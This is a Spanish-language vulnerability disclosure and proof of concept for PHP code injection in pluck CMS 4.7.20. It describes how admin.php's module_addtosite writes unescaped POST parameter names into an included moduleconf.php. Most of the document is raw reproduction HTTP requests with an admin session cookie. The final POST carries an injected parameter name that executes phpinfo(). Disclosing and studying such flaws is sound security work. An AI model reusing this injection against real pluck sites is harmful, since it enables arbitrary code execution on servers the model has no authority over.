
pluck-CMS-4.7.20-code-injection-vulnerability
En admin.php, la función module_addtosite itera sobre todo el array $_POST, divide los nombres de parámetros controlables por el usuario usando explode('|', ...) y los concatena directamente en data/settings/themes//moduleconf.php. Este archivo posteriormente se incluirá en la página del backend y en el proceso de renderizado theme_area() del frontend. Dado que los nombres de los parámetros no han pasado por verificación de lista blanca ni escape de seguridad, los atacantes pueden contaminar archivos PHP ejecutables, lo que conduce a vulnerabilidades de inyección de código.
Dirección del proyecto: https://github.com/pluck-cms/pluck/
Entorno de reproducción: pluck-CMS-4.7.20 Apache2.4.39 PHP7.3.4 MySQL8.0.12
Primero, instale un entorno completamente nuevo.
Acceda a la página "/login.php", inicie sesión con la cuenta de administrador y, tras un inicio de sesión exitoso, anote la Cookie actual de la siguiente manera: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
GET /admin.php?action=start HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/login.php
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
POST /admin.php?action=module_addtosite HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/admin.php?action=start
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
save=1%3Bphpinfo%28%29%3B%2F%2F%7Cm%3D11